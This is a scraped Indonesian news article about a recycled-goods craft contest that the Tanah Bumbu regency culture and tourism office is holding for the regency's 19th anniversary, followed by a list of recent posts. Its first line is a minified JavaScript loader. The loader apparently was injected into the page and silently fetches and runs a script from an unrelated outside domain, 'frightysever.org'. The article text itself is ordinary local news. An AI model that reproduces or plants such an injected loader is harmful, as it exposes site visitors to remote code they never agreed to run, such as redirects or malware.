(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Sambut Harjad ke-19 Tanbu, Disbudporpar Gelar Lomba Kreasi Barang Bekas


KANALKALIMANTAN.COM, BATULICIN – Dinas Kebudayaan Kepemudaan Olahraga dan Pariwisata (Disbudporpar) Kabupaten Tanah Bumbu (Tanbu) menggelar lomba kreasi barang bekas, Senin (14/3/2022).

Lomba digelar menyambut Hari Jadi (Harjad) ke-19 Kabupaten Tanbu, Disbudporpar melalui bidang Pengembangan Pariwisata dan Ekonomi Kreatif (Pengparekraf).

Lomba dimulai 14 Maret 2022 sampai dengan 30 Maret 2022. Pada, tanggal 31 Maret 2022, kreasi barang bekas tersebut kemudian dikumpulkan di Disbudporpar Tanbu. Pada tanggal 1 April 2022, akan dilakukan penjurian tepat di kantor Bupati Tanah Bumbu.

Menurut Eddy Sukhrawardi, Kabid Pengembangan Pariwisata dan Ekonomi Kreatif (Pengparekraf) Disbudporpar Tanbu mengungkapkan, tujuan lomba kreasi barang bekas sebagai upaya memberdayakan masyarakat dengan ekonomi kreatif. Membuat inovasi baru dari barang bekas yang dianggap tidak berharga menjadi sesuatu yang mempunyai nilai jual tinggi.

 

Baca juga  : Fase Puncak Terjadi 19 Februari, Maret Kasus Covid di Banjarbaru Tren Menurun

“Banyak barang bekas terlihat justru hanya menjadi sampah. Barang bekas, jika mempunyai daya kreativitas tinggi maka bisa memberi manfaat dan mengubah nilai. Hal ini, sejalan dengan tujuan ekonomi kreatif,” kata Eddy.

Konsep pada era ekonomi baru yang mengintensifkan informasi dan kreativitas dengan mengandalkan ide dan pengetahuan dari SDM sebagai faktor produksi yang utama.

Pengurangan sampah di Bumi Bersujud perlu menjadi kepedulian bersama, sehingga masyarakat yang punya daya tarik untuk mengubah nilai sampah menjadi suatu kreativitas berharga perlu mendapatkan apresiasi dan penghargaan.

“Ini bukan hanya, menjadi sebuah daya kreativitas, tetapi menjadi benda yang mempunyai daya tarik sendiri di mata orang lain,” imbuhnya.

Pemkab Tanbu berharap dari penciptaan barang yang dianggap tidak memiliki nilai kemudian bisa dikreasikan menjadi barang bernilai tinggi di masyarakat. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Desy Arfianty

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

4 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

4 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

5 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

5 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

5 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

6 jam ago

This website uses cookies.